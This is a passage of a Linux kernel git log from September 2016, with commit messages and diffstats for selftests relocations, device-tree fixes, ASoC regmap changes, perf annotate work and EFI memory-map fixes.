6bee835dd54e279f3d3ae2eca92a9c394b4fd028 Author: Shuah Khan Date: Fri Sep 16 15:53:52 2016 -0600 samples: move mic/mpssd example code from Documentation Move mic/mpssd examples to samples and remove it from Documentation Makefile. Create a new Makefile to build mic/mpssd. It can be built from top level directory or from mic/mpssd directory: Run make -C samples/mic/mpssd or cd samples/mic/mpssd; make Acked-by: Jonathan Corbet Signed-off-by: Shuah Khan Documentation/Makefile | 2 +- Documentation/mic/Makefile | 1 - Documentation/mic/mpssd/.gitignore | 1 - Documentation/mic/mpssd/Makefile | 21 - Documentation/mic/mpssd/micctrl | 173 ---- Documentation/mic/mpssd/mpss | 200 ---- Documentation/mic/mpssd/mpssd.c | 1826 ------------------------------------ Documentation/mic/mpssd/mpssd.h | 103 -- Documentation/mic/mpssd/sysfs.c | 102 -- samples/mic/mpssd/.gitignore | 1 + samples/mic/mpssd/Makefile | 27 + samples/mic/mpssd/micctrl | 173 ++++ samples/mic/mpssd/mpss | 200 ++++ samples/mic/mpssd/mpssd.c | 1826 ++++++++++++++++++++++++++++++++++++ samples/mic/mpssd/mpssd.h | 103 ++ samples/mic/mpssd/sysfs.c | 102 ++ 16 files changed, 2433 insertions(+), 2428 deletions(-) commit ce385a5e7a85c023af2e013101d4fe2240beec21 Author: Ladislav Michl Date: Tue Sep 20 14:09:03 2016 +0200 ARM: dts: omap5-igep0050.dts: Use tabs for indentation And here's another nitpick ;-) Cc: Agustí Fontquerni i Gorchs Cc: Enric Balletbo Serra Cc: Javier Martinez Canillas Cc: Pau Pajuel Fixes: b118c6a6ffa1 ("ARM: dts: Add power button support for igepv5") Signed-off-by: Ladislav Michl arch/arm/boot/dts/omap5-igep0050.dts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d6c91b99baeece562ca1aaf26396d32655197477 Author: Tony Lindgren Date: Tue Sep 20 11:37:35 2016 -0700 ARM: dts: Fix igepv5 power button GPIO direction It should be GPIO_ACTIVE_LOW instead of GPIO_ACTIVE_HIGH as pointed out by Pau Pajuel . Cc: Agustí Fontquerni i Gorchs Cc: Enric Balletbo Serra Cc: Javier Martinez Canillas Cc: Pau Pajuel Fixes: b118c6a6ffa1 ("ARM: dts: Add power button support for igepv5") Signed-off-by: Tony Lindgren arch/arm/boot/dts/omap5-igep0050.dts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 910a86435dd75d7c04d9fbd49aa92e1842d6e88d Author: John David Anglin Date: Tue Sep 20 12:59:39 2016 -0400 parisc: Update comment regarding implementation of copy_user_page_asm The attached patch describes the current implementation of copy_user_page_asm(). It is possible to implement this routine using either the kernel page mappings or equivalent aliases. I tested both and decided the former was more efficient. Signed-off-by: John David Anglin Signed-off-by: Helge Deller arch/parisc/kernel/pacache.S | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) commit 7de2763d9b325ee5e7e24ac513c93394406cfefa Author: Marek Vasut Date: Mon Sep 19 21:30:29 2016 +0200 ASoC: fsl_ssi: Remove .num_reg_defaults_raw from regmap_config This driver provides no .reg_defaults_raw in regmap_config, so the .num_reg_defaults_raw is useless, and, in fact harmful. It triggers kernel crash in regmap_init which tries to access the register defaults. Signed-off-by: Marek Vasut Acked-by: Nicolin Chen Signed-off-by: Mark Brown sound/soc/fsl/fsl_ssi.c | 3 --- 1 file changed, 3 deletions(-) commit bfcf928d7604692668a7c33b783d05b8e3459d09 Author: Marek Vasut Date: Mon Sep 19 21:30:28 2016 +0200 ASoC: fsl_ssi: use flat regmap cache Same as commit ce492b3b8f99cf9d2f807ec22d8805c996a09503 Subject: drm/fsl-dcu: use flat regmap cache Using flat regmap cache instead of RB-tree to avoid the following lockdep warning on driver load: WARNING: CPU: 0 PID: 1 at kernel/locking/lockdep.c:2871 lockdep_trace_alloc+0x104/0x128 DEBUG_LOCKS_WARN_ON(irqs_disabled_flags(flags)) The RB-tree regmap cache needs to allocate new space on first writes. However, allocations in an atomic context (e.g. when a spinlock is held) are not allowed. The function regmap_write calls map->lock, which acquires a spinlock in the fast_io case. Since the driver uses MMIO, the regmap bus of type regmap_mmio is being used which has fast_io set to true. Signed-off-by: Marek Vasut Acked-by: Nicolin Chen Signed-off-by: Mark Brown sound/soc/fsl/fsl_ssi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 35ddb15757cd1c817e424c6252d2f11f268cfebf Author: Marek Vasut Date: Mon Sep 19 21:30:27 2016 +0200 ASoC: fsl_spdif: use flat regmap cache Same as commit ce492b3b8f99cf9d2f807ec22d8805c996a09503 Subject: drm/fsl-dcu: use flat regmap cache Using flat regmap cache instead of RB-tree to avoid the following lockdep warning on driver load: WARNING: CPU: 0 PID: 1 at kernel/locking/lockdep.c:2871 lockdep_trace_alloc+0x104/0x128 DEBUG_LOCKS_WARN_ON(irqs_disabled_flags(flags)) The RB-tree regmap cache needs to allocate new space on first writes. However, allocations in an atomic context (e.g. when a spinlock is held) are not allowed. The function regmap_write calls map->lock, which acquires a spinlock in the fast_io case. Since the driver uses MMIO, the regmap bus of type regmap_mmio is being used which has fast_io set to true. Signed-off-by: Marek Vasut Acked-by: Nicolin Chen Signed-off-by: Mark Brown sound/soc/fsl/fsl_spdif.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0effb8651ee3b00513fbba9ef3912bbcbbd38af6 Author: Marek Vasut Date: Mon Sep 19 21:30:26 2016 +0200 ASoC: fsl_esai: use flat regmap cache Same as commit ce492b3b8f99cf9d2f807ec22d8805c996a09503 Subject: drm/fsl-dcu: use flat regmap cache Using flat regmap cache instead of RB-tree to avoid the following lockdep warning on driver load: WARNING: CPU: 0 PID: 1 at kernel/locking/lockdep.c:2871 lockdep_trace_alloc+0x104/0x128 DEBUG_LOCKS_WARN_ON(irqs_disabled_flags(flags)) The RB-tree regmap cache needs to allocate new space on first writes. However, allocations in an atomic context (e.g. when a spinlock is held) are not allowed. The function regmap_write calls map->lock, which acquires a spinlock in the fast_io case. Since the driver uses MMIO, the regmap bus of type regmap_mmio is being used which has fast_io set to true. Signed-off-by: Marek Vasut Acked-by: Nicolin Chen Signed-off-by: Mark Brown sound/soc/fsl/fsl_esai.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b413886886b9a8f845f7d1a5adafa0ca573d3828 Author: Marek Vasut Date: Mon Sep 19 21:30:25 2016 +0200 ASoC: fsl_asrc: use flat regmap cache Same as commit ce492b3b8f99cf9d2f807ec22d8805c996a09503 Subject: drm/fsl-dcu: use flat regmap cache Using flat regmap cache instead of RB-tree to avoid the following lockdep warning on driver load: WARNING: CPU: 0 PID: 1 at kernel/locking/lockdep.c:2871 lockdep_trace_alloc+0x104/0x128 DEBUG_LOCKS_WARN_ON(irqs_disabled_flags(flags)) The RB-tree regmap cache needs to allocate new space on first writes. However, allocations in an atomic context (e.g. when a spinlock is held) are not allowed. The function regmap_write calls map->lock, which acquires a spinlock in the fast_io case. Since the driver uses MMIO, the regmap bus of type regmap_mmio is being used which has fast_io set to true. Signed-off-by: Marek Vasut Acked-by: Nicolin Chen Signed-off-by: Mark Brown sound/soc/fsl/fsl_asrc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c4351d980ed88ac290136bfe59c8bd2b95f12b63 Author: Markus Elfring Date: Sun Aug 28 11:40:53 2016 +0200 parisc: Use kmalloc_array() in add_system_map_addresses() * A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus use the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. * Replace the specification of a data type by a pointer dereference to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: Helge Deller arch/parisc/kernel/inventory.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5baf919dd75817ba23423a8c9ef9be357fe2bb94 Author: Helge Deller Date: Tue Sep 20 17:29:32 2016 +0200 parisc: Check return value of smp_boot_one_cpu() Check return value of smp_boot_one_cpu() whether CPU could be brought up. Reported-by: John David Anglin Signed-off-by: Helge Deller arch/parisc/kernel/smp.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b5d5cf2b8a68618a8ec646cab5746e2f539dc244 Author: Helge Deller Date: Tue Sep 20 17:20:10 2016 +0200 parisc: Drop BROKEN_RODATA config option PARISC was the only architecture which selected the BROKEN_RODATA config option. Drop it and remove the special handling from init.h as well. Signed-off-by: Helge Deller arch/parisc/Kconfig | 1 - include/linux/init.h | 19 ++++--------------- init/Kconfig | 6 ------ 3 files changed, 4 insertions(+), 22 deletions(-) commit 3d2c86e3057995270e08693231039d9d942871f0 Author: Shuah Khan Date: Thu Sep 15 08:36:07 2016 -0600 selftests: Move networking/timestamping from Documentation Remove networking from Documentation Makefile to move the test to selftests. Update networking/timestamping Makefile to work under selftests. These tests will not be run as part of selftests suite and will not be included in install targets. They can be built and run separately for now. This is part of the effort to move runnable code from Documentation. Acked-by: Jonathan Corbet Signed-off-by: Shuah Khan Documentation/Makefile | 3 +- Documentation/networking/Makefile | 1 - Documentation/networking/timestamping/.gitignore | 3 - Documentation/networking/timestamping/Makefile | 14 - .../networking/timestamping/hwtstamp_config.c | 134 ----- .../networking/timestamping/timestamping.c | 528 -------------------- .../networking/timestamping/txtimestamp.c | 549 --------------------- .../selftests/networking/timestamping/.gitignore | 3 + .../selftests/networking/timestamping/Makefile | 8 + .../networking/timestamping/hwtstamp_config.c | 134 +++++ .../networking/timestamping/timestamping.c | 528 ++++++++++++++++++++ .../networking/timestamping/txtimestamp.c | 549 +++++++++++++++++++++ 12 files changed, 1223 insertions(+), 1231 deletions(-) commit 02a35aad8a3e0b2bde1986053cefc2fcd63aee5d Author: Shuah Khan Date: Tue Sep 13 13:03:35 2016 -0600 selftests: move watchdog tests from Documentation/watchdog Remove watchdog-test from Makefile to move the test to selftests. Add Makefile and .gitignore for watchdog-test. watchdog-test will not be run as part of selftests suite and will not be included in install targets. It can be built separately for now. Acked-by: Jonathan Corbet Signed-off-by: Shuah Khan Documentation/watchdog/src/.gitignore | 1 - Documentation/watchdog/src/Makefile | 2 +- Documentation/watchdog/src/watchdog-test.c | 105 ----------------------- tools/testing/selftests/watchdog/.gitignore | 1 + tools/testing/selftests/watchdog/Makefile | 8 ++ tools/testing/selftests/watchdog/watchdog-test.c | 105 +++++++++++++++++++++++ 6 files changed, 115 insertions(+), 107 deletions(-) commit b6ebbac51bedf9e98e837688bc838f400196da5e Author: Shuah Khan Date: Tue Sep 13 12:52:24 2016 -0600 selftests: move ia64 tests from Documentation/ia64 Remove ia64 from Makefile to move the test to selftests. Update ia64 Makefile to work under selftests. ia64 will not be run as part of selftests suite and will not be included in install targets. They can be built separately for now. The original Makefile built this test on all archirectures and this update doesn't change that. Acked-by: Jonathan Corbet Signed-off-by: Shuah Khan Documentation/Makefile | 2 +- Documentation/ia64/.gitignore | 1 - Documentation/ia64/Makefile | 5 - Documentation/ia64/aliasing-test.c | 263 --------------------------- tools/testing/selftests/ia64/.gitignore | 1 + tools/testing/selftests/ia64/Makefile | 8 + tools/testing/selftests/ia64/aliasing-test.c | 263 +++++++++++++++++++++++++++ 7 files changed, 273 insertions(+), 270 deletions(-) commit f9b6b0ef60349cf1747d8f366f23900671f888c5 Author: Shuah Khan Date: Tue Sep 13 12:06:20 2016 -0600 selftests: move vDSO tests from Documentation/vDSO Remove vDSO from Makefile to move the to selftests. Update vDSO Makefile to work under selftests. vDSO will not be run as part of selftests suite and will not be included in install targets. They can be built separately for now. Acked-by: Jonathan Corbet Signed-off-by: Shuah Khan Documentation/Makefile | 2 +- Documentation/vDSO/.gitignore | 2 - Documentation/vDSO/Makefile | 17 -- Documentation/vDSO/parse_vdso.c | 269 --------------------- Documentation/vDSO/vdso_standalone_test_x86.c | 128 ---------- Documentation/vDSO/vdso_test.c | 52 ---- tools/testing/selftests/vDSO/.gitignore | 2 + tools/testing/selftests/vDSO/Makefile | 20 ++ tools/testing/selftests/vDSO/parse_vdso.c | 269 +++++++++++++++++++++ .../selftests/vDSO/vdso_standalone_test_x86.c | 128 ++++++++++ tools/testing/selftests/vDSO/vdso_test.c | 52 ++++ 11 files changed, 472 insertions(+), 469 deletions(-) commit 8dbbf854202610a033a0788c33d8feb1548d3eeb Author: Shuah Khan Date: Tue Sep 13 11:30:03 2016 -0600 selftests: move ptp tests from Documentation/ptp Remove ptp from Makefile to move the test to selftests. Update ptp Makefile to work under selftests. ptp will not be run as part of selftests suite and will not be included in install targets. They can be built separately for now. Acked-by: Jonathan Corbet Signed-off-by: Shuah Khan Documentation/Makefile | 2 +- Documentation/ptp/.gitignore | 1 - Documentation/ptp/Makefile | 8 - Documentation/ptp/testptp.c | 523 --------------------------------- Documentation/ptp/testptp.mk | 33 --- tools/testing/selftests/ptp/.gitignore | 1 + tools/testing/selftests/ptp/Makefile | 8 + tools/testing/selftests/ptp/testptp.c | 523 +++++++++++++++++++++++++++++++++ tools/testing/selftests/ptp/testptp.mk | 33 +++ 9 files changed, 566 insertions(+), 566 deletions(-) commit 5f62d4fd3593bc5bb33c75238cc1d6bf0b34fac9 Author: Arnaldo Carvalho de Melo Date: Mon Sep 19 17:26:11 2016 -0300 perf annotate: Resolve 'call' operands to function names Before this patch the '_raw_spin_lock_irqsave' and 'update_rq_clock' operands were appearing just as hexadecimal numbers: update_blocked_averages /proc/kcore │ push %r12 │ push %rbx │ and $0xfffffffffffffff0,%rsp │ sub $0x40,%rsp │ add -0x662cac00(,%rdi,8),%rax │ mov %rax,%rbx │ mov %rax,%rdi │ mov %rax,0x38(%rsp) │ → callq _raw_spin_lock_irqsave │ mov %rbx,%rdi │ mov %rax,0x30(%rsp) │ → callq update_rq_clock │ mov 0x8d0(%rbx),%rax │ lea 0x8d0(%rbx),%r11 To check that all is right one can always use the 'o' hotkey and see the original objdump -dS output, that for this case is: update_blocked_averages /proc/kcore │ffffffff990d5489: push %r12 │ffffffff990d548b: push %rbx │ffffffff990d548c: and $0xfffffffffffffff0,%rsp │ffffffff990d5490: sub $0x40,%rsp │ffffffff990d5494: add -0x662cac00(,%rdi,8),%rax │ffffffff990d549c: mov %rax,%rbx │ffffffff990d549f: mov %rax,%rdi │ffffffff990d54a2: mov %rax,0x38(%rsp) │ffffffff990d54a7: → callq 0xffffffff997eb7a0 │ffffffff990d54ac: mov %rbx,%rdi │ffffffff990d54af: mov %rax,0x30(%rsp) │ffffffff990d54b4: → callq 0xffffffff990c7720 │ffffffff990d54b9: mov 0x8d0(%rbx),%rax │ffffffff990d54c0: lea 0x8d0(%rbx),%r11 Use the 'h' hotkey to see a list of available hotkeys. More work needed to cover operands for other instructions, such as 'mov', that can resolve variable names, etc. Cc: Adrian Hunter Cc: Alexander Shishkin Cc: Chris Riyder Cc: David Ahern Cc: Hemant Kumar Cc: Jiri Olsa Cc: Markus Trippelsdorf Cc: Masami Hiramatsu Cc: Michael Ellerman Cc: Namhyung Kim Cc: Naveen N. Rao Cc: Pawel Moll Cc: Peter Zijlstra Cc: Ravi Bangoria Cc: Russell King Cc: Taeung Song Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-xqgtw9mzmzcjgwkis9kiiv1p@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/annotate.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit bff5c3061374c37ed1262131eb333f714e5bcdf8 Author: Arnaldo Carvalho de Melo Date: Mon Sep 19 17:18:16 2016 -0300 perf annotate: Pass the symbol's map/dso to the instruction parsers So that things like: → callq 0xffffffff993e3230 found while disassembling /proc/kcore can be beautified by later patches, that will resolve that address to a function, looking it up in /proc/kallsyms. Cc: Adrian Hunter Cc: Alexander Shishkin Cc: Chris Riyder Cc: David Ahern Cc: Hemant Kumar Cc: Jiri Olsa Cc: Markus Trippelsdorf Cc: Masami Hiramatsu Cc: Michael Ellerman Cc: Namhyung Kim Cc: Naveen N. Rao Cc: Pawel Moll Cc: Peter Zijlstra Cc: Ravi Bangoria Cc: Russell King Cc: Taeung Song Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-p76myuke4j7gplg54amaklxk@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/annotate.c | 23 ++++++++++++----------- tools/perf/util/annotate.h | 2 +- 2 files changed, 13 insertions(+), 12 deletions(-) commit 88a7fcf961a27fbd248e3c914fc9df8327f7cdbb Author: Ravi Bangoria Date: Fri Aug 19 18:29:35 2016 +0530 perf annotate: Do not ignore call instruction with indirect target Do not ignore call instruction with indirect target when its already identified as a call. This is an extension of commit e8ea1561952b ("perf annotate: Use raw form for register indirect call instructions") to generalize annotation for all instructions with indirect calls. This is needed for certain powerpc call instructions that use address in a register (such as bctrl, btarl, ...). Apart from that, when kcore is used to disassemble function, all call instructions were ignored. This patch will fix it as a side effect by not ignoring them. For example, Before (with kcore): mov %r13,%rdi callq 0xffffffff811a7e70 ^ jmpq 64 mov %gs:0x7ef41a6e(%rip),%al After (with kcore): mov %r13,%rdi > callq 0xffffffff811a7e70 ^ jmpq 64 mov %gs:0x7ef41a6e(%rip),%al Suggested-by: Michael Ellerman [Suggested about 'bctrl' instruction] Signed-off-by: Ravi Bangoria Cc: Alexander Shishkin Cc: Chris Riyder Cc: Hemant Kumar Cc: Jiri Olsa Cc: Markus Trippelsdorf Cc: Masami Hiramatsu Cc: Namhyung Kim Cc: Naveen N. Rao Cc: Pawel Moll Cc: Peter Zijlstra Cc: Russell King Cc: Taeung Song Link: http://lkml.kernel.org/r/1471611578-11255-5-git-send-email-ravi.bangoria@linux.vnet.ibm.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/annotate.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit f666ac0dab5afaf6ebed2c361251581bfccc4003 Author: Jiri Olsa Date: Mon Sep 19 15:10:10 2016 +0200 perf hists: Fix width computation for srcline sort entry Adding header size to width computation for srcline sort entry, because it's possible to get empty data with ':0' which set width of 2 which is lower than width needed to display column header. Signed-off-by: Jiri Olsa Cc: Andi Kleen Cc: David Ahern Cc: Don Zickus Cc: Joe Mario Cc: Namhyung Kim Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1474290610-23241-62-git-send-email-jolsa@kernel.org [ Added declaration to sort.h ] Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/hist.c | 6 ++++-- tools/perf/util/sort.h | 1 + 2 files changed, 5 insertions(+), 2 deletions(-) commit 92dd8dd4d07f170db0638a20a8db691262da4e5e Author: Shuah Khan Date: Tue Sep 13 11:13:46 2016 -0600 selftests: move prctl tests from Documentation/prctl Move prctl tests from Documentation/prctl to selftests/prctl. Remove prctl from Makefile to move the test. Update prctl Makefile to work under selftests. prctl will not be run as part of selftests suite and will not be included in install targets. They can be built separately for now. Acked-by: Jonathan Corbet Signed-off-by: Shuah Khan Documentation/Makefile | 2 +- Documentation/prctl/.gitignore | 3 - Documentation/prctl/Makefile | 10 --- .../prctl/disable-tsc-ctxt-sw-stress-test.c | 97 ---------------------- .../prctl/disable-tsc-on-off-stress-test.c | 96 --------------------- Documentation/prctl/disable-tsc-test.c | 95 --------------------- tools/testing/selftests/prctl/.gitignore | 3 + tools/testing/selftests/prctl/Makefile | 15 ++++ .../prctl/disable-tsc-ctxt-sw-stress-test.c | 97 ++++++++++++++++++++++ .../prctl/disable-tsc-on-off-stress-test.c | 96 +++++++++++++++++++++ tools/testing/selftests/prctl/disable-tsc-test.c | 95 +++++++++++++++++++++ 11 files changed, 307 insertions(+), 302 deletions(-) commit 10924bc6448760b355492f05ea414a65d924a72c Author: Shuah Khan Date: Tue Sep 13 10:08:36 2016 -0600 selftests: move dnotify_test from Documentation/filesystems Move dnotify_test.c, Makefile, and .gitignore from Documentation/filesystems to selftests/filesystems. Remove filesystems build target from Documentation/Makefile and update selftests/filesystems/Makefile to work under selftests. dnotify_test will not be run as part of selftests suite and will not be included in install targets. It can be built separately for now. Acked-by: Jonathan Corbet Signed-off-by: Shuah Khan Documentation/Makefile | 2 +- Documentation/filesystems/.gitignore | 1 - Documentation/filesystems/Makefile | 5 ---- Documentation/filesystems/dnotify_test.c | 34 ---------------------- tools/testing/selftests/filesystems/.gitignore | 1 + tools/testing/selftests/filesystems/Makefile | 7 +++++ tools/testing/selftests/filesystems/dnotify_test.c | 34 ++++++++++++++++++++++ 7 files changed, 43 insertions(+), 41 deletions(-) commit c3cb83560daae4c619d1034eb98c1a40ee896387 Author: Christophe JAILLET Date: Tue Aug 9 12:11:26 2016 +0200 selftests/timers: Add missing error code assignment before test In order to work, the 'err' return value has to be updated otherwise the test can never be true. Signed-off-by: Christophe JAILLET Acked-by: John Stultz Signed-off-by: Shuah Khan tools/testing/selftests/timers/posix_timers.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0ad46becb5c03e7d2464f00b2a1cd460a9c2b3c0 Author: Fabian Frederick Date: Fri Aug 12 22:49:59 2016 +0200 selftests/zram: replace ZRAM_LZ4_COMPRESS Since commit ce1ed9f98e88 ("zram: delete custom lzo/lz4") we need CONFIG_CRYPTO_LZ4=y instead of CONFIG_ZRAM_LZ4_COMPRESS Signed-off-by: Fabian Frederick Signed-off-by: Shuah Khan tools/testing/selftests/zram/README | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5372e054a1928fe704cf0a5e2e139645a777b50a Author: Sebastian Andrzej Siewior Date: Tue Sep 20 16:56:28 2016 +0200 cpufreq: Fix up conversion to hotplug state machine The function cpufreq_register_driver() returns zero on success and since commit 27622b061eb4 ("cpufreq: Convert to hotplug state machine") erroneously a positive number. Due to the "if (x) assume_error" construct all callers assumed an error and as a consequence the cpu freq kworker crashes with a NULL pointer dereference. Reset the return value back to zero in the success case. Fixes: 27622b061eb4 ("cpufreq: Convert to hotplug state machine") Reported-by: Borislav Petkov Reported-and-tested-by: Ingo Molnar Signed-off-by: Sebastian Andrzej Siewior Cc: peterz@infradead.org Cc: rjw@rjwysocki.net Link: http://lkml.kernel.org/r/20160920145628.lp2bmq72ip3oiash@linutronix.de Signed-off-by: Thomas Gleixner drivers/cpufreq/cpufreq.c | 1 + 1 file changed, 1 insertion(+) commit 2ab78a724b1fd885b65199707b8e053677745457 Merge: 41a6607 92dc335 Author: Ingo Molnar Date: Tue Sep 20 16:59:15 2016 +0200 Merge tag 'efi-next' of git://git.kernel.org/pub/scm/linux/kernel/git/mfleming/efi into efi/core Pull EFI fix from Matt Fleming: * Fix a boot crash reported by Mike Galbraith and Mike Krinkin. The new EFI memory map reservation code didn't align reservations to EFI_PAGE_SIZE boundaries causing bogus regions to be inserted into the global EFI memory map (Matt Fleming) Signed-off-by: Ingo Molnar commit 41a66072c32978ff3914fd6be88f7592ef64bef7 Merge: 5465fe0 7597cdc Author: Ingo Molnar Date: Tue Sep 20 16:58:59 2016 +0200 Merge branch 'efi/urgent' into efi/core, to pick up fixes Signed-off-by: Ingo Molnar commit 3409f9ab71d7db96eed849f49a6c8116c62dc251 Author: Aleksander Alekseev Date: Thu Aug 18 12:36:53 2016 +0300 kselftest: kselftest documentation improvement Suggested patch solves two issues: 1) Currently documentation is unclear whether `make kselftest` should be run before or after kernel was installed and booted. `make help` gives a clear answer on that: "kselftest - Build and run kernel selftest (run as root). Build, install, and boot kernel before running kselftest on it." 2) Documentation states that `make kselftest` executes "unit" tests. Technically it's not a _unit_ test if it requires to install an application first. It's either integration or system test. To not to confuse a user I suggest not to use a word "unit". Signed-off-by: Aleksander Alekseev Acked-by: Michael Ellerman Signed-off-by: Shuah Khan Documentation/kselftest.txt | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 51227bf52008bd4c4c50da4b749bbc6e7bbbca52 Author: Marcin Wojtas Date: Tue Sep 6 19:41:11 2016 +0200 arm64: dts: marvell: fix clocksource for CP110 master SPI0 I2C and SPI interfaces share common clock trees within the CP110 HW block. It occurred that SPI0 interface has wrong clock assignment in the device tree, which is fixed in this commit to a proper value. Fixes: 728dacc7f4dd ("arm64: dts: marvell: initial DT description of ...") Signed-off-by: Marcin Wojtas CC: v4.7+ Signed-off-by: Gregory CLEMENT arch/arm64/boot/dts/marvell/armada-cp110-master.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 92dc33501bfba74655dbf3ec63ea82d040fd6d58 Author: Matt Fleming Date: Fri Sep 16 15:12:47 2016 +0100 x86/efi: Round EFI memmap reservations to EFI_PAGE_SIZE Mike Galbraith reported that his machine started rebooting during boot after, commit 8e80632fb23f ("efi/esrt: Use efi_mem_reserve() and avoid a kmalloc()") The ESRT table on his machine is 56 bytes and at no point in the efi_arch_mem_reserve() call path is that size rounded up to EFI_PAGE_SIZE, nor is the start address on an EFI_PAGE_SIZE boundary. Since the EFI memory map only deals with whole pages, inserting an EFI memory region with 56 bytes results in a new entry covering zero pages, and completely screws up the calculations for the old regions that were trimmed. Round all sizes upwards, and start addresses downwards, to the nearest EFI_PAGE_SIZE boundary. Additionally, efi_memmap_insert() expects the mem::range::end value to be one less than the end address for the region. Reported-by: Mike Galbraith Reported-by: Mike Krinkin Tested-by: Mike Krinkin Cc: Peter Jones Cc: Ard Biesheuvel Cc: Mark Rutland Cc: Taku Izumi Signed-off-by: Matt Fleming arch/x86/platform/efi/quirks.c | 6 +++++- drivers/firmware/efi/memmap.c | 11 +++++++++++ 2 files changed, 16 insertions(+), 1 deletion(-) commit 23fe1fd01c1e065907fdcd5cbfd35c02e5a418a2 Author: Vladimir Zapolskiy Date: Mon Sep 19 04:37:31 2016 +0300 ARM: imx legacy: pca100: move peripheral initialization to .init_late The change moves some of peripheral registrations and initializations (all peripherals dependent on GPIOs) from .init_machine to .init_late level, this allows to safely shift the shared GPIO controller driver initialization level after init level of i.MX IOMUXC driver. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-pca100.c | 26 +++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) commit f0ebbdc423296934ac284da6baf2267cabab0e43 Author: Vladimir Zapolskiy Date: Mon Sep 19 04:37:30 2016 +0300 ARM: imx legacy: mx27ads: move peripheral initialization to .init_late The change moves some of peripheral registrations and initializations (all peripherals dependent on GPIOs) from .init_machine to .init_late level, this allows to safely shift the shared GPIO controller driver initialization level after init level of i.MX IOMUXC driver. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-mx27ads.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) commit bfe16c894e9fd920cfca01375bd2e0d5184b4be1 Author: Vladimir Zapolskiy Date: Mon Sep 19 04:37:29 2016 +0300 ARM: imx legacy: mx21ads: move peripheral initialization to .init_late The change moves some of peripheral registrations and initializations (all peripherals dependent on GPIOs) from .init_machine to .init_late level, this allows to safely shift the shared GPIO controller driver initialization level after init level of i.MX IOMUXC driver. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-mx21ads.c | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) commit 782a8ee8b90a5996308a673836e0f89e566a2edc Author: Vladimir Zapolskiy Date: Mon Sep 19 04:37:28 2016 +0300 ARM: imx legacy: pcm043: move peripheral initialization to .init_late The change moves some of peripheral registrations and initializations (all peripherals dependent on GPIOs) from .init_machine to .init_late level, this allows to safely shift the shared GPIO controller driver initialization level after init level of i.MX IOMUXC driver. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-pcm043.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit c217147b9374e68dd5d127b293c63ed5676db172 Author: Vladimir Zapolskiy Date: Mon Sep 19 04:37:25 2016 +0300 ARM: imx legacy: mx35-3ds: move peripheral initialization to .init_late The change moves some of peripheral registrations and initializations (all peripherals dependent on GPIOs) from .init_machine to .init_late level, this allows to safely shift the shared GPIO controller driver initialization level after init level of i.MX IOMUXC driver. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-mx35_3ds.c | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) commit 88b074626fe1931ddbfc22c60ef183514a29365b Author: Vladimir Zapolskiy Date: Mon Sep 19 04:37:24 2016 +0300 ARM: imx legacy: mx27-3ds: move peripheral initialization to .init_late The change moves some of peripheral registrations and initializations (all peripherals dependent on GPIOs) from .init_machine to .init_late level, this allows to safely shift the shared GPIO controller driver initialization level after init level of i.MX IOMUXC driver. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-mx27_3ds.c | 30 ++++++++++++++++++++---------- 1 file changed, 20 insertions(+), 10 deletions(-) commit 598b2505b1b960e49ab050d61804566716818a6d Author: Vladimir Zapolskiy Date: Mon Sep 19 04:37:23 2016 +0300 ARM: imx legacy: imx27-visstrim-m10: move peripheral initialization to .init_late The change moves some of peripheral registrations and initializations (all peripherals dependent on GPIOs) from .init_machine to .init_late level, this allows to safely shift the shared GPIO controller driver initialization level after init level of i.MX IOMUXC driver. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-imx27_visstrim_m10.c | 24 +++++++++++++++++------- 1 file changed, 17 insertions(+), 7 deletions(-) commit 8f39bd1553965f052a9ed84ef7da289b47e96c19 Author: Vladimir Zapolskiy Date: Mon Sep 19 04:37:22 2016 +0300 ARM: imx legacy: vpr200: move peripheral initialization to .init_late The change moves some of peripheral registrations and initializations (all peripherals dependent on GPIOs) from .init_machine to .init_late level, this allows to safely shift the shared GPIO controller driver initialization level after init level of i.MX IOMUXC driver. Signed-off-by: Vladimir Zapolskiy Signed-off-by: Shawn Guo arch/arm/mach-imx/mach-vpr200.c | 